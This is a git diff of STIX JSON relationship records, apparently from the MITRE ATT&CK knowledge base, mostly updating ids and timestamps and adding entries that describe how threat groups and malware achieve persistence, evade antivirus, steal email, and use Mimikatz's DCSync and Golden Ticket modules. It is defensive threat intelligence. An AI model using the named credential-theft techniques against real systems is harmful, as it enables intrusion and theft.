@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--24535df7-8773-4242-abe2-52bb73a5b2bd",
+    "id": "bundle--1a037374-51ec-4ae9-aa1e-2138fc8ab220",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--746b0def-62c8-438d-b5ec-aa6b7dbfb860",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.073Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Stealth Falcon malware attempts to determine the installed version of .NET by querying the Registry.",
             "source_ref": "intrusion-set--894aab42-3371-47b1-8859-a4a074c804c8",
diff --git a/enterprise-attack/relationship/relationship--74859e2a-7a8f-4b87-b75c-7286b3de685c.json b/enterprise-attack/relationship/relationship--74859e2a-7a8f-4b87-b75c-7286b3de685c.json
index 60c50a5afc..410328b046 100644
--- a/enterprise-attack/relationship/relationship--74859e2a-7a8f-4b87-b75c-7286b3de685c.json
+++ b/enterprise-attack/relationship/relationship--74859e2a-7a8f-4b87-b75c-7286b3de685c.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--3f766a22-68bc-4659-9588-6ee7cca9e3a2",
+    "id": "bundle--c1a429a8-0382-4830-8a06-984523bc1a9d",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--74859e2a-7a8f-4b87-b75c-7286b3de685c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "FIN7 malware has created a Registry Run key pointing to its malicious LNK file to establish persistence.",
             "source_ref": "intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc",
diff --git a/enterprise-attack/relationship/relationship--74e737cf-67fb-4f80-ac4e-0ddff90b6f8e.json b/enterprise-attack/relationship/relationship--74e737cf-67fb-4f80-ac4e-0ddff90b6f8e.json
index 3ad98f8c34..004417b1a7 100644
--- a/enterprise-attack/relationship/relationship--74e737cf-67fb-4f80-ac4e-0ddff90b6f8e.json
+++ b/enterprise-attack/relationship/relationship--74e737cf-67fb-4f80-ac4e-0ddff90b6f8e.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--2c366399-e2d0-4060-ab1a-793b55cf3b54",
+    "id": "bundle--85432689-3792-41f3-a2a2-2a2833aad52f",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--74e737cf-67fb-4f80-ac4e-0ddff90b6f8e",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.071Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "FIN6 has used tools to exploit Windows vulnerabilities in order to escalate privileges. The tools targeted CVE-2013-3660, CVE-2011-2005, and CVE-2010-4398, all of which could allow local users to access kernel-level privileges.",
             "source_ref": "intrusion-set--2a7914cf-dff3-428d-ab0f-1014d1c28aeb",
diff --git a/enterprise-attack/relationship/relationship--74e84133-f84a-469a-bfd7-1a514af2f15e.json b/enterprise-attack/relationship/relationship--74e84133-f84a-469a-bfd7-1a514af2f15e.json
index a1ffb0f6f9..b33c855b97 100644
--- a/enterprise-attack/relationship/relationship--74e84133-f84a-469a-bfd7-1a514af2f15e.json
+++ b/enterprise-attack/relationship/relationship--74e84133-f84a-469a-bfd7-1a514af2f15e.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--8f27ce3e-b432-48fe-8831-9f4ef6201bf5",
+    "id": "bundle--18a35246-1e0c-416e-b799-96b3d76f6370",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--74e84133-f84a-469a-bfd7-1a514af2f15e",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "T9000 performs checks for various antivirus and security products during installation.",
             "source_ref": "malware--876f6a77-fbc5-4e13-ab1a-5611986730a3",
diff --git a/enterprise-attack/relationship/relationship--7507eb37-407e-4428-b29f-da0bda3f7970.json b/enterprise-attack/relationship/relationship--7507eb37-407e-4428-b29f-da0bda3f7970.json
new file mode 100644
index 0000000000..5ea7246da1
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--7507eb37-407e-4428-b29f-da0bda3f7970.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--582b5272-124d-4537-a77c-e89b46a795bf",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--7507eb37-407e-4428-b29f-da0bda3f7970",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "discovers information about the infected machine .",
+            "source_ref": "malware--f6d1d2cb-12f5-4221-9636-44606ea1f3f8",
+            "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1",
+            "external_references": [
+                {
+                    "source_name": "Symantec Buckeye",
+                    "description": "Symantec Security Response. (2016, September 6). Buckeye cyberespionage group shifts gaze from US to Hong Kong. Retrieved September 26, 2016.",
+                    "url": "http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--753f9861-f0b8-4467-ac5e-4457bd350095.json b/enterprise-attack/relationship/relationship--753f9861-f0b8-4467-ac5e-4457bd350095.json
index d485e2f39f..62f1f9bd7b 100644
--- a/enterprise-attack/relationship/relationship--753f9861-f0b8-4467-ac5e-4457bd350095.json
+++ b/enterprise-attack/relationship/relationship--753f9861-f0b8-4467-ac5e-4457bd350095.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--b1531bd4-9e9f-400d-a418-6e31be3a68ac",
+    "id": "bundle--f0fdca67-0ec3-4a1e-94a3-6cf90e7ee9d4",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--753f9861-f0b8-4467-ac5e-4457bd350095",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "TINYTYPHON installs itself under Registry Run key to establish persistence.",
             "source_ref": "malware--85b39628-204a-48d2-b377-ec368cbcb7ca",
diff --git a/enterprise-attack/relationship/relationship--7577e14c-ceba-4646-98ce-41e7fa9ae851.json b/enterprise-attack/relationship/relationship--7577e14c-ceba-4646-98ce-41e7fa9ae851.json
index 4fecba087e..d1ba8d8705 100644
--- a/enterprise-attack/relationship/relationship--7577e14c-ceba-4646-98ce-41e7fa9ae851.json
+++ b/enterprise-attack/relationship/relationship--7577e14c-ceba-4646-98ce-41e7fa9ae851.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--a83062d4-9e71-4b8e-9b38-56ab6f883219",
+    "id": "bundle--f9c9c28f-2d59-4dc8-9aef-188a5f66e218",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--7577e14c-ceba-4646-98ce-41e7fa9ae851",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.080Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc",
             "target_ref": "malware--72f54d66-675d-4587-9bd3-4ed09f9522e4",
diff --git a/enterprise-attack/relationship/relationship--757bed64-558b-4ea7-84b9-b82d8b23f9b2.json b/enterprise-attack/relationship/relationship--757bed64-558b-4ea7-84b9-b82d8b23f9b2.json
index 6667b70a80..ac54ead08d 100644
--- a/enterprise-attack/relationship/relationship--757bed64-558b-4ea7-84b9-b82d8b23f9b2.json
+++ b/enterprise-attack/relationship/relationship--757bed64-558b-4ea7-84b9-b82d8b23f9b2.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--ae8010ae-c4fc-41e4-846a-dc0e3c8b1623",
+    "id": "bundle--db9442eb-4c37-44f8-93ed-0d7a94e17c11",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--757bed64-558b-4ea7-84b9-b82d8b23f9b2",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.035Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "APT1 uses two utilities, GETMAIL and MAPIGET, to steal email. GETMAIL extracts emails from archived Outlook .pst files, and MAPIGET steals email still on Exchange servers that has not yet been archived.",
             "source_ref": "intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662",
diff --git a/enterprise-attack/relationship/relationship--758b6582-b988-4ab9-911e-e40c9bbebc2d.json b/enterprise-attack/relationship/relationship--758b6582-b988-4ab9-911e-e40c9bbebc2d.json
index 920d4e514b..d24510b867 100644
--- a/enterprise-attack/relationship/relationship--758b6582-b988-4ab9-911e-e40c9bbebc2d.json
+++ b/enterprise-attack/relationship/relationship--758b6582-b988-4ab9-911e-e40c9bbebc2d.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--d5952aba-f5c5-4c39-9fac-acc14fb69f1c",
+    "id": "bundle--ad690c37-f2d6-441e-a279-be13491d5073",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--758b6582-b988-4ab9-911e-e40c9bbebc2d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.031Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--943d370b-2054-44df-8be2-ab4139bde1c5",
             "target_ref": "attack-pattern--52d40641-c480-4ad5-81a3-c80ccaddf82d",
diff --git a/enterprise-attack/relationship/relationship--75b383eb-5483-4c44-a721-ee1cffa6edb7.json b/enterprise-attack/relationship/relationship--75b383eb-5483-4c44-a721-ee1cffa6edb7.json
index ea2625e885..c6f2236254 100644
--- a/enterprise-attack/relationship/relationship--75b383eb-5483-4c44-a721-ee1cffa6edb7.json
+++ b/enterprise-attack/relationship/relationship--75b383eb-5483-4c44-a721-ee1cffa6edb7.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--69884692-2d89-4df6-b265-1a198f235a9f",
+    "id": "bundle--f38935ae-ad75-4e85-a928-e3e61485671f",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--75b383eb-5483-4c44-a721-ee1cffa6edb7",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "FIN10 has established persistence by using the Registry option in PowerShell Empire to add a Run key.",
             "source_ref": "intrusion-set--fbe9387f-34e6-4828-ac28-3080020c597b",
diff --git a/enterprise-attack/relationship/relationship--75c3b5f6-a0ca-4afc-baad-ef19ed4317b3.json b/enterprise-attack/relationship/relationship--75c3b5f6-a0ca-4afc-baad-ef19ed4317b3.json
index b0e0efec94..4c6a785c63 100644
--- a/enterprise-attack/relationship/relationship--75c3b5f6-a0ca-4afc-baad-ef19ed4317b3.json
+++ b/enterprise-attack/relationship/relationship--75c3b5f6-a0ca-4afc-baad-ef19ed4317b3.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--8ddbd3ee-0838-454a-a8bc-7e3e60f5a2d3",
+    "id": "bundle--5ce6a19e-fce7-469c-a38a-d881fb50109c",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--75c3b5f6-a0ca-4afc-baad-ef19ed4317b3",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.063Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c",
             "target_ref": "malware--e066bf86-9cfb-407a-9d25-26fd5d91e360",
diff --git a/enterprise-attack/relationship/relationship--75d04175-c43d-46cd-be08-5f4c91f767ed.json b/enterprise-attack/relationship/relationship--75d04175-c43d-46cd-be08-5f4c91f767ed.json
index 19bf9a2047..51aa70f360 100644
--- a/enterprise-attack/relationship/relationship--75d04175-c43d-46cd-be08-5f4c91f767ed.json
+++ b/enterprise-attack/relationship/relationship--75d04175-c43d-46cd-be08-5f4c91f767ed.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--67ff93d8-8f6a-408a-8597-6bdd55d4a388",
+    "id": "bundle--0d0679de-27ae-460e-a026-19d1fe9ecac1",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--75d04175-c43d-46cd-be08-5f4c91f767ed",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.040Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c",
             "target_ref": "malware--8ae43c46-57ef-47d5-a77a-eebb35628db2",
diff --git a/enterprise-attack/relationship/relationship--75f7d0e0-b1e9-4289-8895-d8a262930523.json b/enterprise-attack/relationship/relationship--75f7d0e0-b1e9-4289-8895-d8a262930523.json
index 85055c47c5..fb1f165d47 100644
--- a/enterprise-attack/relationship/relationship--75f7d0e0-b1e9-4289-8895-d8a262930523.json
+++ b/enterprise-attack/relationship/relationship--75f7d0e0-b1e9-4289-8895-d8a262930523.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--3a3249b2-6de4-45d8-964f-cae4dbf24637",
+    "id": "bundle--70950e8e-0c05-4658-8e20-95b65a436c52",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--75f7d0e0-b1e9-4289-8895-d8a262930523",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Commands such as <code>net group</code> and <code>net localgroup</code> can be used in Net to gather information about and manipulate groups.",
             "source_ref": "tool--03342581-f790-4f03-ba41-e82e67392e23",
diff --git a/enterprise-attack/relationship/relationship--76037b22-a3e4-40d3-bd56-699d1ea4e97e.json b/enterprise-attack/relationship/relationship--76037b22-a3e4-40d3-bd56-699d1ea4e97e.json
new file mode 100644
index 0000000000..a5b25b4b0e
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--76037b22-a3e4-40d3-bd56-699d1ea4e97e.json
@@ -0,0 +1,38 @@
+{
+    "type": "bundle",
+    "id": "bundle--9e5caacd-46bc-4a35-8a38-8ca6baf7bd9b",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--76037b22-a3e4-40d3-bd56-699d1ea4e97e",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Mimikatz\u2019s <code>LSADUMP::DCSync</code>, <code>KERBEROS::Golden</code>, and <code>KERBEROS::PTT</code> modules implement the three steps required to extract the krbtgt account hash and create/use Kerberos tickets.",
+            "source_ref": "tool--afc079f3-c0ea-4096-b75d-3f05338b7f60",
+            "target_ref": "attack-pattern--a257ed11-ff3b-4216-8c9d-3938ef57064c",
+            "external_references": [
+                {
+                    "source_name": "Adsecurity Mimikatz Guide",
+                    "description": "Metcalf, S. (2015, November 13). Unofficial Guide to Mimikatz & Command Reference. Retrieved December 23, 2015.",
+                    "url": "https://adsecurity.org/?page%20id=1821"
+                },
+                {
+                    "source_name": "AdSecurity Kerberos GT Aug 2015",
+                    "description": "Metcalf, S. (2015, August 7). Kerberos Golden Tickets are Now More Golden. Retrieved December 1, 2017.",
+                    "url": "https://adsecurity.org/?p=1640"
+                },
+                {
+                    "source_name": "Harmj0y DCSync Sept 2015",
+                    "description": "Schroeder, W. (2015, September 22). Mimikatz and DCSync and ExtraSids, Oh My. Retrieved December 4, 2017.",
+                    "url": "http://www.harmj0y.net/blog/redteaming/mimikatz-and-dcsync-and-extrasids-oh-my/"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--7606ad11-1322-4b97-83b9-aaafaee02c07.json b/enterprise-attack/relationship/relationship--7606ad11-1322-4b97-83b9-aaafaee02c07.json
index 0126afc99a..057a8f8015 100644
--- a/enterprise-attack/relationship/relationship--7606ad11-1322-4b97-83b9-aaafaee02c07.json
+++ b/enterprise-attack/relationship/relationship--7606ad11-1322-4b97-83b9-aaafaee02c07.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--57376b5c-a9aa-4b4e-a529-0face627784f",
+    "id": "bundle--4749ab56-cdc2-4bc4-bdce-bd317b94701f",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--7606ad11-1322-4b97-83b9-aaafaee02c07",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "APT28 has used legitimate credentials to maintain access to a victim network and exfiltrate data.",
             "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c",
diff --git a/enterprise-attack/relationship/relationship--760be456-6b72-4b86-b5aa-3297aa89bc4d.json b/enterprise-attack/relationship/relationship--760be456-6b72-4b86-b5aa-3297aa89bc4d.json
new file mode 100644
index 0000000000..425ad989d1
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--760be456-6b72-4b86-b5aa-3297aa89bc4d.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--f2ca1077-7804-4e07-bf00-5628da066e75",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--760be456-6b72-4b86-b5aa-3297aa89bc4d",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "collects MAC address and local IP address information from the victim.",
+            "source_ref": "malware--fece06b7-d4b1-42cf-b81a-5323c917546e",
+            "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0",
+            "external_references": [
+                {
+                    "source_name": "US-CERT FALLCHILL Nov 2017",
+                    "description": "US-CERT. (2017, November 22). Alert (TA17-318A): HIDDEN COBRA \u2013 North Korean Remote Administration Tool: FALLCHILL. Retrieved December 7, 2017.",
+                    "url": "https://www.us-cert.gov/ncas/alerts/TA17-318A"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--761edf58-baad-4626-acca-a137c251b0e6.json b/enterprise-attack/relationship/relationship--761edf58-baad-4626-acca-a137c251b0e6.json
index 7fe1bc3f41..2fc3ddcd52 100644
--- a/enterprise-attack/relationship/relationship--761edf58-baad-4626-acca-a137c251b0e6.json
+++ b/enterprise-attack/relationship/relationship--761edf58-baad-4626-acca-a137c251b0e6.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--ec96d702-1a7e-47b3-bcff-82a0951bc883",
+    "id": "bundle--26524bb6-ec4c-460d-a0a3-0f1fbb52cb17",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--761edf58-baad-4626-acca-a137c251b0e6",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "MoonWind can delete itself or specified files.",
             "source_ref": "malware--9ea525fa-b0a9-4dde-84f2-bcea0137b3c1",
diff --git a/enterprise-attack/relationship/relationship--762f85a3-0120-4b09-aafd-3f460764e85f.json b/enterprise-attack/relationship/relationship--762f85a3-0120-4b09-aafd-3f460764e85f.json
index 7ecae2c41d..0115047610 100644
--- a/enterprise-attack/relationship/relationship--762f85a3-0120-4b09-aafd-3f460764e85f.json
+++ b/enterprise-attack/relationship/relationship--762f85a3-0120-4b09-aafd-3f460764e85f.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--b5ce7964-d627-49d6-baf7-64cbb36b22fc",
+    "id": "bundle--e658c1e3-d696-43ae-9200-f485de70ea04",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--762f85a3-0120-4b09-aafd-3f460764e85f",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.034Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--c47f937f-1022-4f42-8525-e7a4779a14cb",
             "target_ref": "malware--8beac7c2-48d2-4cd9-9b15-6c452f38ac06",
diff --git a/enterprise-attack/relationship/relationship--76333b56-47b1-40c6-9223-c4cf6673362f.json b/enterprise-attack/relationship/relationship--76333b56-47b1-40c6-9223-c4cf6673362f.json
index acdcc56d70..a09934fa07 100644
--- a/enterprise-attack/relationship/relationship--76333b56-47b1-40c6-9223-c4cf6673362f.json
+++ b/enterprise-attack/relationship/relationship--76333b56-47b1-40c6-9223-c4cf6673362f.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--533b1806-f84d-42cb-8ba3-12cbbf2b4d97",
+    "id": "bundle--7404d15f-5913-4686-a22f-f13334626b1d",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--76333b56-47b1-40c6-9223-c4cf6673362f",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Some SeaDuke samples have a module to extract email from Microsoft Exchange servers using compromised credentials.",
             "source_ref": "malware--67e6d66b-1b82-4699-b47a-e2efb6268d14",
diff --git a/enterprise-attack/relationship/relationship--76393f0c-a13c-48a8-ba7d-80502ae938a7.json b/enterprise-attack/relationship/relationship--76393f0c-a13c-48a8-ba7d-80502ae938a7.json
index 9b6c0075af..75e42e55b9 100644
--- a/enterprise-attack/relationship/relationship--76393f0c-a13c-48a8-ba7d-80502ae938a7.json
+++ b/enterprise-attack/relationship/relationship--76393f0c-a13c-48a8-ba7d-80502ae938a7.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--bd57faca-166d-4819-bcbc-837eaafd3368",
+    "id": "bundle--d279baa8-7062-4a3c-9cae-37c3a602a228",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--76393f0c-a13c-48a8-ba7d-80502ae938a7",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.037Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662",
             "target_ref": "tool--a52edc76-328d-4596-85e7-d56ef5a9eb69",
diff --git a/enterprise-attack/relationship/relationship--764b5d56-83a1-4c8d-824a-2021c7fe8052.json b/enterprise-attack/relationship/relationship--764b5d56-83a1-4c8d-824a-2021c7fe8052.json
index e36bbf115f..4dd5e00a9a 100644
--- a/enterprise-attack/relationship/relationship--764b5d56-83a1-4c8d-824a-2021c7fe8052.json
+++ b/enterprise-attack/relationship/relationship--764b5d56-83a1-4c8d-824a-2021c7fe8052.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--36a76d96-ed26-4d14-9739-c5d7fa98217e",
+    "id": "bundle--6f36b269-415f-4c86-8fdc-2dd1a60d77e2",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--764b5d56-83a1-4c8d-824a-2021c7fe8052",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.064Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--88b7dbc2-32d3-4e31-af2f-3fc24e1582d7",
             "target_ref": "malware--0f862b01-99da-47cc-9bdb-db4a86a95bb1",
diff --git a/enterprise-attack/relationship/relationship--765e3b13-60f4-4b34-b03f-0d8e738b0add.json b/enterprise-attack/relationship/relationship--765e3b13-60f4-4b34-b03f-0d8e738b0add.json
index 222657f83d..6d04760ac7 100644
--- a/enterprise-attack/relationship/relationship--765e3b13-60f4-4b34-b03f-0d8e738b0add.json
+++ b/enterprise-attack/relationship/relationship--765e3b13-60f4-4b34-b03f-0d8e738b0add.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--0c88569e-5943-4e97-ad55-b00b7d1a56f2",
+    "id": "bundle--4c3bdad4-1ae4-4618-b974-e040a6c27034",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--765e3b13-60f4-4b34-b03f-0d8e738b0add",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "CHOPSTICK checks for anti-virus, forensics, and virtualization software.",
             "source_ref": "malware--ccd61dfc-b03f-4689-8c18-7c97eab08472",
diff --git a/enterprise-attack/relationship/relationship--76e75bfe-b72c-471b-9a26-eab5ed04a812.json b/enterprise-attack/relationship/relationship--76e75bfe-b72c-471b-9a26-eab5ed04a812.json
index fc08a8d6f2..e61cc198e0 100644
--- a/enterprise-attack/relationship/relationship--76e75bfe-b72c-471b-9a26-eab5ed04a812.json
+++ b/enterprise-attack/relationship/relationship--76e75bfe-b72c-471b-9a26-eab5ed04a812.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--3027317c-b0e3-4cd4-be88-f62dda42ab54",
+    "id": "bundle--fa958857-fb67-41fb-be66-38e907a3e425",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--76e75bfe-b72c-471b-9a26-eab5ed04a812",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "ELMER uses HTTP for command and control.",
             "source_ref": "malware--3cab1b76-2f40-4cd0-8d2c-7ed16eeb909c",
diff --git a/enterprise-attack/relationship/relationship--771c349e-1b23-41ea-bcab-59bdbd6c935f.json b/enterprise-attack/relationship/relationship--771c349e-1b23-41ea-bcab-59bdbd6c935f.json
index 143ed84710..037b476c99 100644
--- a/enterprise-attack/relationship/relationship--771c349e-1b23-41ea-bcab-59bdbd6c935f.json
+++ b/enterprise-attack/relationship/relationship--771c349e-1b23-41ea-bcab-59bdbd6c935f.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--74e2a445-bab4-401b-a01d-d10cf2734471",
+    "id": "bundle--490633a7-ca1a-49a2-8c1f-afcda61ff17d",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
